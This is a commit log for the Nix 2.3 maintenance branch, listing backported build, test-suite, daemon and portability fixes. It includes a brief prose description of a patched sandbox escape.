Compare commits

..
191 Commits
Author SHA1 Message Date
John Ericson 8d5f0cb551 Merge pull request #5751 from obsidiansystems/2.3-flexible-ssh
[backport 2.3] ssh-store: add remote-store and remote-program query params
2025-02-18 17:04:01 -05:00
Eelco Dolstra 2ee48c29a9 Fix segfault in gcc on i686-linux
src/libstore/ssh-store.cc: In constructor 'nix::SSHStore::SSHStore(const string&, const Params&)':
  src/libstore/ssh-store.cc:31:21: internal compiler error: Segmentation fault
               compress)
                       ^
  Please submit a full bug report,
  with preprocessed source if appropriate.

https://hydra.nixos.org/build/111545609
(cherry picked from commit d82b78bf51)
2025-02-17 13:20:30 -05:00
Daiderd Jordan 7f2c991f7c ssh-store: add remote-store and remote-program query params
Brings the functionality of ssh-ng:// in sync with the legacy ssh://
implementation.  Specifying the remote store uri enables various useful
things. eg.

    $ nix copy --to ssh-ng://cache?remote-store=file://mnt/cache --all

(cherry picked from commit 8745c63d3c)
2025-02-17 12:52:07 -05:00
John Ericson 9cdaeba80e Merge pull request #5640 from obsidiansystems/daemon-auth-2.3
[backport 2.3] Separate auth and logic for the daemon
2025-02-17 12:48:51 -05:00
John Ericson 9132d5b1c5 Separate auth and logic for the daemon
Before, processConnection wanted to know a user name and user id, and
`nix-daemon --stdio`, when it isn't proxying to an underlying daemon,
would just assume "root" and 0. But `nix-daemon --stdio` (no proxying)
shouldn't make guesses about who holds the other end of its standard
streams.

Now processConnection takes an "auth hook", so `nix-daemon` can provide
the appropriate policy and daemon.cc doesn't need to know or care what
it is.

(cherry picked from commit 8d4162ff9e)
2025-02-17 12:14:02 -05:00
John Ericson 5376a4472a Merge pull request #5650 from obsidiansystems/2.3-alt-daemon-test-suite
[backport 2.3] Allow testing with different daemons
2025-02-16 17:13:07 -05:00
Eelco Dolstra 68d6ebd984 nix-tests: Run 'make installcheck' in parallel
(cherry picked from commit 6ff19ce137)
2025-02-14 01:26:27 -05:00
regnat ddbb122df1 testS: poll more eagerly for the daemon start/stop
Polling every 1 second means that even the simplest test takes at least
2 seconds. We can reasonably poll 1/10 of that to make things much
  quicker (esp. given that most of the time 0.1s is enough for the
  daemon to be started or stopped)

(cherry picked from commit 9c470cb969)
2025-02-14 01:26:27 -05:00
Théophane Hufschmitt 196670af76 Don't run the tests that require building if we're not building
A couple of tests require building some libraries that depend on Nix,
and assume it to be built locally.
Don't run these if we only want to run the install tests.

This prevents the CI from rebuilding several times Nix (like in
https://github.com/NixOS/nix/actions/runs/6404422275/job/17384964033#step:6:6412), thus removing a fair amount of build time.

(cherry picked from commit eb68454be6)
2025-02-14 01:26:27 -05:00
John Ericson e813f9c4cd Add self-version daemon test
This is not a cherry-pick because enough reworking had to happen.
2025-02-14 00:57:56 -05:00
John Ericson 67ab776e15 Harden tests' bash
Use `set -u` and `set -o pipefail` to catch accidental mistakes and
failures more strongly.

 - `set -u` catches the use of undefined variables
 - `set -o pipefail` catches failures (like `set -e`) earlier in the
   pipeline.

This makes the tests a bit more robust. It is nice to read code not
worrying about these spurious success paths (via uncaught) errors
undermining the tests. Indeed, I caught some bugs doing this.

There are a few tests where we run a command that should fail, and then
search its output to make sure the failure message is one that we
expect. Before, since the `grep` was the last command in the pipeline
the exit code of those failing programs was silently ignored. Now with
`set -o pipefail` it won't be, and we have to do something so the
expected failure doesn't accidentally fail the test.

To do that we use `expect` and a new `expectStderr` to check for the
exact failing exit code. See the comments on each for why.

`grep -q` is replaced with `grepQuiet`, see the comments on that
function for why.

`grep -v` when we just want the exit code is replaced with `grepInverse,
see the comments on that function for why.

`grep -q -v` together is, surprise surprise, replaced with
`grepQuietInverse`, which is both combined.

(cherry picked from commit c11836126b)
2025-02-13 11:36:30 -05:00
John Ericson 5e13c907b4 Make init.sh safe to run twice
(cherry picked from commit 5dbbf23332)
2025-02-13 11:36:30 -05:00
Andrea Ciceri 51b03401fb Tighten up the exportReferencesGraph tests
Add an `$` at the end of the `grep` regex. Without it, `checkRef foo`
would always imply `checkRef foo.drv`. We want to tell these situations
apart to more precisely test what is going on.

(cherry picked from commit f58759816d)
2025-02-13 11:36:30 -05:00
Robert Hensing 0a53374a4b tests: Add command source locations to test log
(cherry picked from commit 9813e54a74)
2025-02-13 11:36:30 -05:00
John Ericson ac295a5f33 Flip condition on daemon version for structured attrs
We want the old behavior, since this is Nix 2.3.
2025-02-13 11:36:30 -05:00
John Ericson 7358292924 Fix testing the other daemon
The eventual PATH entry needs the `.../bin` or we will not use the right
daemon.

(cherry picked from commit 06fb6aecea)
2025-02-13 11:36:30 -05:00
regnat 918861b196 Make the post-build-hook use the daemon Nix package
Having the `post-build-hook` use `nix` from the client package can lead
to a deadlock in case there’s a db migration to do between both, as a
`nix` command running inside the hook will run as root (and as such will
bypass the daemon), so might trigger a db migration, which will get
stuck trying to get a global lock on the DB (as the daemon that ran the
hook already has a lock on it).

(cherry picked from commit 93eadd5803)
2025-02-13 11:36:30 -05:00
regnat 5d324b2d0a Fix the isDaemonNewer check
- Don’t hardcode the “newer” version
- Remove an ill-placed `return`

(cherry picked from commit 3a2fc9ce1d)
2025-02-13 11:36:30 -05:00
Sergei Trofimovich c239a1652e mk/tests.mk: document 'installcheck' in 'make help'
(cherry picked from commit 1e6faa7d06)
2025-02-13 11:36:30 -05:00
regnat 6e595ff55f Remove the right socket before starting the daemon
For some reason, an old socket occasionally stays here on OSX, causing
the subsequent tests to fail

(cherry picked from commit c2c0dba792)
2025-02-13 11:36:30 -05:00
regnat c434a11a04 Allow running all the tests with the daemon
When `NIX_DAEMON_PACKAGE` is set, make all the tests use the Nix daemon.
That way we can test every piece of Nix functionality both with and
without the daemon.

Tests for which using the daemon isn’t possible or doesn’t make sens can
selectively be disabled with `needLocalStore`

(cherry picked from commit addacfce4a)
2025-02-13 11:36:30 -05:00
regnat 62a42ab43e Make the tests (optionnally) run in another derivation
That way we can run them without rebuilding Nix

(cherry picked from commit a0866c8ea4)
2025-02-13 11:36:30 -05:00
regnat 02a186883b Add a test ensuring compatibility with an old daemon
This requires adding `nix` to its own closure which is a bit unfortunate,
but as it is optional (the test will be disabled if `OUTER_NIX` is unset) it
shouldn't be too much of an issue.

(Ideally this should go in another derivation so that we can build Nix and run
the test independently, but as the tests are running in the same derivation
as the build it's a bit complicated to do so).

(cherry picked from commit 5716345adf)
2025-02-13 11:36:30 -05:00
regnat e0e9f91049 Actually test nix-env with a remote store
The `remote-store` test loads the `user-env` one to test nix-env when
using the daemon, but actually does it incorrectly because every test
starts (in `common.sh`) by resetting the value of `NIX_REMOTE`, meaning
that the `user-env` test will never use the daemon.

Fix this by setting `NIX_REMOTE_` before sourcing `user-env.sh` in the
`remote-store` test, so that `NIX_REMOTE` is correctly set inside the
test

(cherry picked from commit f6ac888d3e)
2025-02-13 11:36:30 -05:00
John Ericson fd753efe17 Merge pull request #9495 from NixOS/2.3-macos-eof
[Backport 2.3-maintainence] Fix "unexpected EOF" errors on macOS
2025-02-13 11:35:45 -05:00
Eelco Dolstra 5fca88973f Open slave pseudoterminal before CLONE_NEWUSER
Otherwise, when running as root and user namespaces are enabled,
opening the slave fails with EPERM.

Fixes "opening pseudoterminal slave: Permission denied" followed by a
hang (https://hydra.nixos.org/build/213104244), and "error: getting
sandbox mount namespace: No such file or directory" (#8072), which
happens when the child fails very quickly and consequently reading
/proc/<child>/ns fails.

(cherry picked from commit 16db8dc96f)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 94eba8a85a Change builderOut from Pipe to AutoCloseFD
(cherry picked from commit 6029c763c2)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 6613e7ebfb Move pseudoterminal slave open to child
Hopefully this fixes "unexpected EOF" failures on macOS
(#3137, #3605, #7242, #7702).

The problem appears to be that under some circumstances, macOS
discards the output written to the slave side of the
pseudoterminal. Hence the parent never sees the "sandbox initialized"
message from the child, even though it succeeded. The conditions are:

* The child finishes very quickly. That's why this bug is likely to
  trigger in nix-env tests, since that uses a builtin builder. Adding
  a short sleep before the child exits makes the problem go away.

* The parent has closed its duplicate of the slave file
  descriptor. This shouldn't matter, since the child has a duplicate
  as well, but it does. E.g. moving the close to the bottom of
  startBuilder() makes the problem go away. However, that's not a
  solution because it would make Nix hang if the child dies before
  sending the "sandbox initialized" message.

* The system is under high load. E.g. "make installcheck -j16" makes
  the issue pretty reproducible, while it's very rare under "make
  installcheck -j1".

As a fix/workaround, we now open the pseudoterminal slave in the
child, rather than the parent. This removes the second condition
(i.e. the parent no longer needs to close the slave fd) and I haven't
been able to reproduce the "unexpected EOF" with this.

(cherry picked from commit c536e00c9d)
2025-02-13 11:21:42 -05:00
Eelco Dolstra 3a82f6a117 Simplify commonChildInit()
(cherry picked from commit 19326ac297)
2025-02-13 11:21:42 -05:00
John Ericson 3468fec15b Merge pull request #12467 from NixOS/modernize-gha-2.3
[Nix 2.3] Reconcile GitHub Actions with master
2025-02-13 11:20:47 -05:00
John Ericson 4a18760022 Remove installer and installer_test GHAs for now
We never got them set up, as evidenced by missing script.
2025-02-13 11:11:37 -05:00
John Ericson 6c5089550e Reconcile GitHub Actions with master
Roughty matches as of 9f2b9256b6.

Hopefully this makes CI work again.
2025-02-13 10:54:04 -05:00
Eelco Dolstra ff8cce1244 Merge pull request #12026 from Ma27/2.3-backport-structured-attrs-env
[2.3] build: backport NIX_ATTRS_*_FILE
2024-12-09 13:03:10 +01:00
Maximilian Bosch 0c5333a4f6 build: backport NIX_ATTRS_*_FILE
This was originally added in #4770 to support structured attrs in
`nix-shell` & `nix develop`: the issue was that it was somewhat awkward
to just write those files into a project directory, especially since
it'd break in case of multiple `nix-shell` invocations from the same
directory. Now the files are written to another, temporary
location when using `nix-shell`/`nix develop` and the correct path is
referenced by NIX_ATTRS_*_FILE.

In `nixpkgs`, it's now common to use these environment variables,
however we still fall back to checking to `.attrs.sh` & `.attrs.json`
since the minimum Nix version we support is 2.3.17[1] which doesn't have
this change.

This however makes implementing structured attrs support more
complicated than needed[2] and in fact we have a few places where the
check for `.attrs.sh`/`.attrs.json` isn't made, so these only break with
Nix 2.3[3].

The idea is now to

* get this into 2.3.18
* bump minver once again to 2.3.18 in nixpkgs
* remove all occurrences of `.attrs.sh`/`.attrs.json` from nixpkgs.

[1] https://github.com/NixOS/nixpkgs/blob/f4bd97b8face6dc14b0ce048c20cff7e558c7be2/lib/minver.nix
[2] https://github.com/NixOS/nixpkgs/pull/357053/files#diff-791a01ef89c157eb74d9c87ab8cbc3b81e2cf082cab70b8fec3472cd75ce860dR3-R5
[3] https://github.com/NixOS/nixpkgs/pull/357053#discussion_r1857362490
2024-12-08 15:45:05 +01:00
Eelco Dolstra 99f14d4b34 Revert "tests/check.sh: Fix a race"
This reverts commit 0776aa11c9 because
it's causing a test failure: https://hydra.nixos.org/build/247889890
2024-03-07 14:27:23 +01:00
Eelco Dolstra b4d5aaca60 Merge pull request from GHSA-2ffj-w4mj-pg37
Sandbox escape 2.3
2024-03-07 11:56:24 +01:00
Théophane Hufschmitt 8604f6d329 Add release notes 2024-03-01 10:24:54 +01:00
Théophane HufschmittandValentin Gagarin 2064277b05 Fix a typo in a test comment
Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt 8c27eb6c1b Copy the output of fixed-output derivations before registering them
It is possible to exfiltrate a file descriptor out of the build sandbox
of FODs, and use it to modify the store path after it has been
registered.
To avoid that issue, don't register the output of the build, but a copy
of it (that will be free of any leaked file descriptor).
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt 9c0be4c156 Add a NixOS test for the sandbox escape
Test that we can't leverage abstract unix domain sockets to leak file
descriptors out of the sandbox and modify the path after it has been
registered.
2024-03-01 10:24:54 +01:00
Théophane Hufschmitt ec26251bb9 Merge pull request #9771 from hercules-ci/2.3-flake
[2.3] Add flake for testing purposes
2024-01-26 09:41:25 +01:00
Robert Hensing 0776aa11c9 tests/check.sh: Fix a race
Based on 02dd6bb610
2024-01-15 11:40:53 +01:00
Robert Hensing 0099f8e8de Add best-effort flake.nix
The purpose for this flake is to make `nix run nix/2.3-maintenance` work,
so that it's easier to answer questions about this old series of releases.
2024-01-15 10:40:48 +01:00
Eelco Dolstra 575859a535 Bump version 2023-11-03 18:05:47 +01:00
John Ericson f76990444c Merge pull request #9261 from flokli/backport-3564
[2.3-maintenance] Wait for build users when none are available
2023-11-01 20:01:36 -04:00
Eelco Dolstra 791af78365 Merge pull request #9263 from flokli/update-stringly-typed-configureflags
[2.3-maintenance] Convert stringly-typed configureFlags to lists of strings
2023-10-31 16:06:52 +01:00
Eelco Dolstra 5757632bcb Merge pull request #9260 from flokli/backport-4012
[2.3-maintenance] Escape `${` in strings when printing Nix expressions
2023-10-31 16:06:07 +01:00
Eelco Dolstra 78d73112a6 Merge pull request #9262 from flokli/pkg-config-rename
[2.3-maintenance] Address removal of pkgconfig alias
2023-10-31 16:05:34 +01:00
sternenseemann a4cafa65e7 Convert stringly-typed configureFlags to lists of strings
This has been deprecated in nixpkgs and the warning resulting from that
is driving me crazy.
2023-10-31 12:25:06 +02:00
sternenseemann 6663e7aeea Address removal of pkgconfig alias
nixpkgs ended up removing that alias, this fixes the build with a more
recent nixpkgs.
2023-10-31 12:22:36 +02:00
Alexander Bantyev 12935e54ea Mention build users in the 'waiting for' message
(cherry picked from commit 772e5db828)
2023-10-31 12:15:35 +02:00
Alexander Bantyev 849f9b83a8 Don't block while waiting for build users
(cherry picked from commit 14073fb76b)
2023-10-31 12:15:35 +02:00
Alexander Bantyev a1469cc8f4 Wait for build users when none are available
(cherry picked from commit 880a62b08443a6baa55dab027b69bb8b1551a588)
2023-10-31 12:15:35 +02:00
regnat b2463d649c Escape ${ in strings when printing Nix expressions
Otherwise the result of the printing can't be parsed back correctly by
Nix (because the unescaped `${` will be parsed as the begining of an
anti-quotation).

Fix #3989

(cherry picked from commit 250f8a4bba)
2023-10-31 12:06:50 +02:00
Eelco Dolstra 63ba2fde50 Merge pull request #9245 from bjornfor/backport-installer-fix
[2.3] Backport installer fix for non-NixOS
2023-10-27 16:28:07 +02:00
John Ericson 619e9758bb Merge pull request #4593 from grahamc/builder-host-key-stable
(Backport #4574) distributed builds: load remote builder host key from the machines file
2023-10-26 16:19:06 -04:00
John Ericson b4abe56a23 Merge remote-tracking branch 'upstream/2.3-maintenance' into builder-host-key-stable 2023-10-26 16:01:18 -04:00
Guillaume Maudoux 36c560552d Create to daemon-socket folder during install
(cherry picked from commit 1bec333788)

[Bjørn: This fixes Nix 2.3 multi-user/daemon installs on modern
non-NixOS distros.]
2023-10-26 14:31:46 +02:00
Eelco Dolstra 12ac3f6f28 Merge pull request #9221 from edef1c/2.3-zstd
[2.3-maintenance] libutil: add ZstdDecompressionSink
2023-10-25 10:33:07 +02:00
edef 7f8790eff2 libutil: add ZstdDecompressionSink 2023-10-23 17:36:13 +00:00
Eelco Dolstra 8e836716bb Merge pull request #9190 from trofi/2.13-gcc-13
[2.3 backport] src/libutil/json.cc: add missing <cstdint> include for gcc-13
2023-10-19 19:12:15 +02:00
Sergei Trofimovich 42b19c7181 src/libutil/json.cc: add missing <cstdint> include for gcc-13
Without the change llvm build fails on this week's gcc-13 snapshot as:

    src/libutil/json.cc: In function 'void nix::toJSON(std::ostream&, const char*, const char*)':
    src/libutil/json.cc:33:22: error: 'uint16_t' was not declared in this scope
       33 |             put(hex[(uint16_t(*i) >> 12) & 0xf]);
          |                      ^~~~~~~~
    src/libutil/json.cc:5:1: note: 'uint16_t' is defined in header '<cstdint>'; did you forget to '#include <cstdint>'?
        4 | #include <cstring>
      +++ |+#include <cstdint>
        5 |

(cherry picked from commit b36d5172cb)
2023-10-19 15:25:34 +01:00
John Ericson 104c562b63 Merge pull request #8031 from klemensn/openbsd
Build and test fixes for OpenBSD
2023-03-20 11:41:36 -04:00
Klemens Nanni c84e20a296 Fix SO_PEERCRED usage on OpenBSD
getsockopt(2) documents `struct sockpeercred` with `SO_PEERCRED`.
(`struct ucred` does exist, but is incompatible to the Linux version.)
2023-03-11 23:07:19 +04:00
Klemens Nanni fda598cfdd Make tar invocation portable, fix OpenBSD build/test
At least on OpenBSD, tar(1) reads from /dev/rst0 not stdin by default
options must specififed consistently with or without dashes, not mixed.

Specify standard input explicitly to not rely on implementation details.
Use either option style consistently.
2023-03-11 23:07:19 +04:00
Klemens Nanni 2dff8c2b40 Include <sys/wait.h> as per wait(4) for WIFEXITED and WEXITSTATUS
Unbreak the build on OpenBSD.
2023-03-11 23:07:19 +04:00
Eelco Dolstra 6507aef191 Merge pull request #5649 from obsidiansystems/2.3-modernize-test-suite
[backport 2.3] Parallelize test suite
2021-12-09 15:27:16 +01:00
Domen Kožar 3690c9350d Merge pull request #5688 from obsidiansystems/2.3-pr-ci
[backport 2.3] Add GitHub actions CI for PRs
2021-11-30 13:17:03 +01:00
Albert Safin 75bd19758d nix-shell: don't check for "nix-shell" in shebang script name
Without this, moving the nix-shell tests into a `nix-shell` dir breaks
them.

(cherry picked from commit a70706b025)
2021-11-30 05:33:50 +00:00
Eelco Dolstra 522243fb26 Close stdin while running tests
For some reason, the bash shell started by 'nix develop' sometimes
reads from stdin, which can hang.

(cherry picked from commit 50a8710ed1)
2021-11-30 05:33:50 +00:00
regnat 1a3956cceb Shorten the path to the test root
Fix a socket length failure on the OSX builders

(cherry picked from commit 223fbe644a)
2021-11-30 05:33:50 +00:00
regnat 8ca44a901c Fix the test dependencies
Reuse the pre-existing list rather than the one written as part of #3777

(cherry picked from commit 5101ed18bc)
2021-11-30 05:33:50 +00:00
regnat b3cdebf328 Run the tests in parallel
Cause the time needed to run the testsuite to drop from ~4mins to ~40s

(cherry picked from commit 1b5aa60767)
2021-11-30 05:33:50 +00:00
John Ericson e9cfba389f Add GitHub actions CI for PRs
Adapted from master.
2021-11-29 23:18:01 +00:00
Eelco Dolstra c9f0904d13 Merge pull request #5659 from baloo/baloo/dns-2.3
preloadNSS: rework the dns query workaround [nix2.3]
2021-11-26 12:48:21 +01:00
Arthur Gautier 765332d94b preloadNSS: rework the dns query workaround
backport of https://github.com/NixOS/nix/pull/5384 to nix 2.3
2021-11-25 13:06:00 -08:00
Eelco Dolstra addb547b9d Merge pull request #5571 from obsidiansystems/forward-compat-2.3
[2.3-maintenance] Override socket path with `NIX_DAEMON_SOCKET_PATH` so we can test 2.4+ compat
2021-11-23 18:55:38 +01:00
regnat 1aa288c8cf Override socket path with NIX_DAEMON_SOCKET_PATH
This is the first step to testing compatibility with 2.3 in 2.4 and
master.

(adapted from commit 223fbe644a)
2021-11-16 05:44:59 +00:00
Eelco Dolstra cad762e2d1 Merge pull request #5395 from winterqt/revert-4985
Revert "doc: Change install syntax to be fish compatible"
2021-11-08 14:18:12 +01:00
Eelco Dolstra 6b17b1677f Merge pull request #5491 from doronbehar/SQLiteWAL-vfs-backport2.3
libstore: Use unix-dotfile vfs if useSQLiteWAL is false
2021-11-05 13:24:22 +01:00
Eelco Dolstra 9a83b37764 Merge pull request #5492 from obsidiansystems/backport/fd-leak-2.3-maintenance
Nix 2.3 Backport: PathSubstitutionGoal: Clean up pipe
2021-11-04 20:32:36 +01:00
Fendor c31ce3dffe PathSubstitutionGoal: Clean up pipe
If there were many top-level goals (which are not destroyed until the
very end), commands like

  $ nix copy --to 'ssh://localhost?remote-store=/tmp/nix' \
    /run/current-system --no-check-sigs --substitute-on-destination

could fail with "Too many open files". So now we do some explicit
cleanup from amDone(). It would be cleaner to separate goals from
their temporary internal state, but that would be a bigger refactor.

Backport 8a29052cb2
2021-11-04 11:26:39 +01:00
Doron Behar 1261a1689b libstore: Use unix-dotfile vfs if useSQLiteWAL is false 2021-11-04 08:10:44 +02:00
Winter 6c0d9778d1 Revert "doc: Change install syntax to be fish compatible"
This reverts commit ea962a84c3.
2021-10-15 17:27:17 -04:00
Eelco Dolstra 8223cc5663 Bump version 2021-10-07 17:32:08 +02:00
Domen Kožar 8c5b39875e Merge pull request #5054 from alyssais/2.3-host_os
[2.3] Apply OS checks to host platform, not build
2021-09-21 08:12:04 +02:00
Eelco Dolstra 2e80a42c13 Merge pull request #5216 from kvtb/patch-2
`builtins.hashFile`, `builtins.hashString`: realize context before calculation, and discard afterwards
2021-09-13 22:39:26 +02:00
Eelco Dolstra edf511dfb2 Merge pull request #5234 from kvtb/patch-4
builtins.fetchurl: fix error message
2021-09-13 10:00:15 +02:00
kvtb 7d92204b67 builtins.fetchurl: fix error message
fixes `error: unsupported argument 'path' to 'fetchurl', at 0x1630b48`
2021-09-11 04:54:55 +00:00
Eelco Dolstra 72128074d8 Merge pull request #5228 from baloo/baloo/5089/force-nss_dns-load.2.3.15
preloadNSS: fixup nss_dns load [2.3]
2021-09-09 10:35:49 +02:00
Arthur Gautier a67dcdd991 preloadNSS: load NSS before threads are started
preloadNSS is not thread-safe, this commit moves it before we start the
first thread.

Signed-off-by: Arthur Gautier <baloo@superbaloo.net>
2021-09-08 18:36:53 +00:00
Eelco Dolstra a10644fa66 Merge pull request #5223 from kvtb/patch-3
Expr::show(): avoid emiting meaningless chars
2021-09-08 12:13:36 +02:00
Arthur Gautier 3d75d87bd3 preloadNSS: fixup nss_dns load
Before this commit, the dns lookup in preloadNSS would still go through
nscd. This did not have the effect of loading the nss_dns.so as expected
(nss_dns.so being out of reach from within the sandbox).

Should LOCALDOMAIN environment variable be defined, nss will completely
avoid nscd and will do its dns resolution on its own.

By temporarly setting LOCALDOMAIN variable before calling in NSS, we can
force NSS to load the shared libraries as expected.

Signed-off-by: Arthur Gautier <baloo@superbaloo.net>
2021-09-07 01:49:37 +00:00
kvtb f8ccbb40d1 Expr::show(): avoid emiting meaningless chars 2021-09-06 14:29:20 +00:00
kvtb 2b665a311e hashFile, hashString: realize context before calculation, and discard afterwards 2021-09-05 14:42:06 +00:00
Eelco Dolstra 896fad9119 Merge pull request #5132 from alyssais/2.3-sys_name
[2.3] configure.ac: remove another uname check
2021-08-16 11:56:01 +02:00
Alyssa Ross bb98526123 configure.ac: remove another uname check
uname checks are not cross-safe.

The normalization for Cygwin doesn't need any equivalent for host_os
because nothing actually checked whether sys_name was cygwin any more.

(cherry picked from commit cff8fd69b6)
2021-08-13 16:35:25 +00:00
Domen Kožar 015ca6a7a5 Merge pull request #5129 from alyssais/2.3-darwin-host-os
[2.3] Fix host OS detection for darwin-specific linker flag
2021-08-13 10:14:36 +02:00
Ryan Burns ac2ca8d083 Fix host OS detection for darwin-specific linker flag
(cherry picked from commit d86d43c34c)
2021-08-13 08:06:03 +00:00
Eelco Dolstra 183f2cc395 Bump version 2021-07-28 22:54:47 +02:00
Eelco Dolstra 9d9dbe6ed0 Bump version 2021-07-28 21:20:08 +02:00
Alyssa Ross 12dc642781 Apply OS checks to host platform, not build
Previously, the build system used uname(1) output when it wanted to
check the operating system it was being built for, which meant that it
didn't take into-account cross-compilation when the build and host
operating systems were different.

To fix this, instead of consulting uname output, we consult the host
triple, specifically the third "kernel" part.

For "kernel"s with stable ABIs, like Linux or Cygwin, we can use a
simple ifeq to test whether we're compiling for that system, but for
other platforms, like Darwin, FreeBSD, or Solaris, we have to use a
more complicated check to take into account the version numbers at the
end of the "kernel"s.  I couldn't find a way to just strip these
version numbers in GNU Make without shelling out, which would be even
more ugly IMO.  Because these checks differ between kernels, and the
patsubst ones are quite fiddly, I've added variables for each host OS
we might want to check to make them easier to reuse.

(cherry picked from commit 4f80464645)
2021-07-27 08:41:57 +00:00
Eelco Dolstra bd4e03d5fa Merge pull request #5053 from NixOS/fix-no-such-file-in-chrooted-store
[2.3]: Use the real path when checking imported CA paths
2021-07-27 10:34:29 +02:00
Domen Kožar 9f1287e1ca Merge pull request #5038 from alyssais/2.3-libdl
[2.3] Only link with libdl on Linux
2021-07-27 07:33:10 +02:00
regnat 89fba5c847 Use the real path when checking imported CA paths
Otherwise chrooted store will fail because Nix will try to read the
virtual path instead of the physical one

Should fix https://github.com/NixOS/nixpkgs/issues/126141
2021-07-26 11:34:47 +02:00
Alyssa Ross fa7cbf8222 Only link with libdl on Linux
Linux is (as far as I know) the only mainstream operating system that
requires linking with libdl for dlopen.  On BSD, libdl doesn't exist,
so on non-FreeBSD BSDs linking will currently fail.  On macOS, it's
apparently just a symlink to libSystem (macOS libc), presumably
present for compatibility with things that assume Linux.

So the right thing to do here is to only add -ldl on Linux, not to add
it for everything that isn't FreeBSD.

(cherry picked from commit c57ab17687)
2021-07-23 10:50:29 +00:00
Eelco Dolstra e871146179 Merge pull request #5013 from illustris/nscd-backport
fixed-output derivations: fix incorrect responses for getpwuid
2021-07-14 17:00:00 +02:00
illustris 1c51a169fb fixed-output derivations: fix incorrect responses for getpwuid
backport of #5006
2021-07-14 14:26:25 +05:30
Emily 76c7f5f215 sandbox: allow SystemVersionCompat.plist on Darwin
For whatever reason, many programs trying to access SystemVersion.plist
also open SystemVersionCompat.plist; this includes Python code and
coreutils’ `cat(1)` (but not the native macOS `/bin/cat`). Illustratory
`dtruss(1m)` output:

    open("/System/Library/CoreServices/SystemVersion.plist\0", 0x0, 0x0)		 = 3 0
    open("/System/Library/CoreServices/SystemVersionCompat.plist\0", 0x0, 0x0)		 = 4 0

I assume this is a Big Sur change relating to the 10.16.x/11.x
version compatibility divide and that it’s something along the lines of
a hook inside libSystem.

Fixes a lot of sandboxed package builds under Big Sur.

(cherry picked from commit 559a504da7)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-07-12 09:35:16 +02:00
Emily 405d78eafc Mark __impureHostDeps paths as optional
Starting in macOS 11, the on-disk dylib bundles are no longer available,
but nixpkgs needs to be able to keep compatibility with older versions
that require `/usr/lib/libSystem.B.dylib` in `__impureHostDeps`. Allow
it to keep backwards compatibility with these versions by marking these
dependencies as optional.

Fixes #4658.

(cherry picked from commit c4355a52fa)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-07-12 09:30:35 +02:00
Eelco Dolstra 998fe9d645 Merge pull request #4985 from toonn/doc-install-fish
Make install documentation fish-friendly
2021-07-05 21:52:15 +02:00
toonn ea962a84c3 doc: Change install syntax to be fish compatible 2021-07-05 13:58:01 +02:00
Eelco Dolstra 1da76cbec7 Merge pull request #4975 from domenkozar/2.3-upload-release-aarch64-darwin
upload-release.pl: add aarch64-darwin
2021-07-02 15:32:54 +02:00
Eelco Dolstra f1e3a6a50a Bump version 2021-07-02 15:00:14 +02:00
Domen Kožar 14262b86cc upload-release.pl: add aarch64-darwin 2021-07-02 14:13:26 +02:00
Domen Kožar eda79305b6 installer: use native aarch64-darwin 2021-07-02 14:08:01 +02:00
Eelco Dolstra 926163070b Merge pull request #4899 from sternenseemann/primops-2.3
[2.3] backport: Make `functionArgs` primitive accept primops
2021-06-23 14:15:36 +02:00
Eelco Dolstra 8aeea1e9f4 Remove Deb/RPM jobs 2021-06-23 11:41:06 +02:00
Eelco Dolstra a49bddb040 Remove tests.binaryTarball
This test no longer works on Hydra because import-from-derivation is
no longer allowed.

(cherry picked from commit 3daa256728)
2021-06-23 11:39:59 +02:00
Domen Kožar 165e44fef9 fix setuid test eval 2021-06-23 09:37:14 +02:00
aszlig 50b8ef40cb Convert VM tests to Python
Perl-based tests are deprecated since NixOS 20.03 and subsequently got
removed in NixOS 20.09, which effectively means that tests are going to
fail as soon as we build it with NixOS 20.09 or anything newer.

I've put "# fmt: off" at the start of every testScript, because
formatting with Black really messes up indentation and I don't think it
really adds anything in value or readability for inlined Python scripts.

Signed-off-by: aszlig <aszlig@nix.build>
(cherry picked from commit 5cfdf16dd6)
Signed-off-by: Domen Kožar <domen@dev.si>
2021-06-22 11:03:51 +02:00
Domen Kožar 78e7d7cfab Fix perlBindings.aarch64-darwin build 2021-06-22 10:45:00 +02:00
Eelco Dolstra 042718a293 Bump version 2021-06-21 17:02:08 +02:00
Lucas Franceschino 9f7a59af71 Make functionArgs primitive accept primops
(cherry picked from commit b2748c6e99)
2021-06-10 01:00:49 +02:00
Domen Kožar b98a50af30 Merge pull request #4867 from Kloenk/stable-aarch64-darwin
enable aarch64-darwin in release.nix
2021-06-07 17:04:25 +02:00
Finn Behrens 29e8db916a enable aarch64-darwin in release.nix 2021-06-07 16:27:02 +02:00
Eelco Dolstra cc565be4bc Merge pull request #4890 from alyssais/2.3-libatomic
[2.3] Backport libatomic fixes
2021-06-04 14:54:08 +02:00
Puck Meerburg feb8267257 configure.ac: fix use of unread LIBS variable
This fixes both the SunOS/Solaris check, and the libatomic check, which
reference $LIBS, which has not been used since automake was stripped
out of the code.

(cherry picked from commit 196b77b686)
2021-06-04 12:28:34 +00:00
Matthew Bauer f1688f2136 Use more robust test for libatomics
Taken from Mesa configure script:

https://github.com/mesa3d/mesa/blob/17.2/configure.ac#L405-L427
(cherry picked from commit b1c34152fe)
2021-06-04 12:28:19 +00:00
Matthew Bauer 7375b0b58c Add libatomic for 32-bit ARM
Fixes #3113

(cherry picked from commit 74b4737d8f)
2021-06-04 12:26:36 +00:00
Eelco Dolstra 456bffbbe5 Merge pull request #4888 from alyssais/backport-static
[2.3] Pass --static flag to pkg-config when necessary
2021-06-04 14:19:13 +02:00
Matthew Bauer fe679310a7 Pass --static flag to pkg-config when necessary
(cherry picked from commit 3e85c57a6c)
2021-06-04 11:04:30 +00:00
Domen Kožar 7b279eb798 Merge pull request #4877 from alyssais/2.3-freenode
[2.3] backport contact info changes (including getting rid of Freenode)
2021-06-02 11:14:51 +02:00
Alyssa Ross a25f0a8730 install-multi-user.sh: add link to forum
Introduced in master in eab14a642c.
2021-06-02 08:32:47 +00:00
Patrick Hilhorst c9dcfa50f8 throw freenode down the memory hole
(cherry picked from commit 822e338e5c)
2021-06-02 08:10:59 +00:00
Eelco Dolstra 59acbc5220 Fix evaluation on 20.03 2021-06-01 15:27:32 +02:00
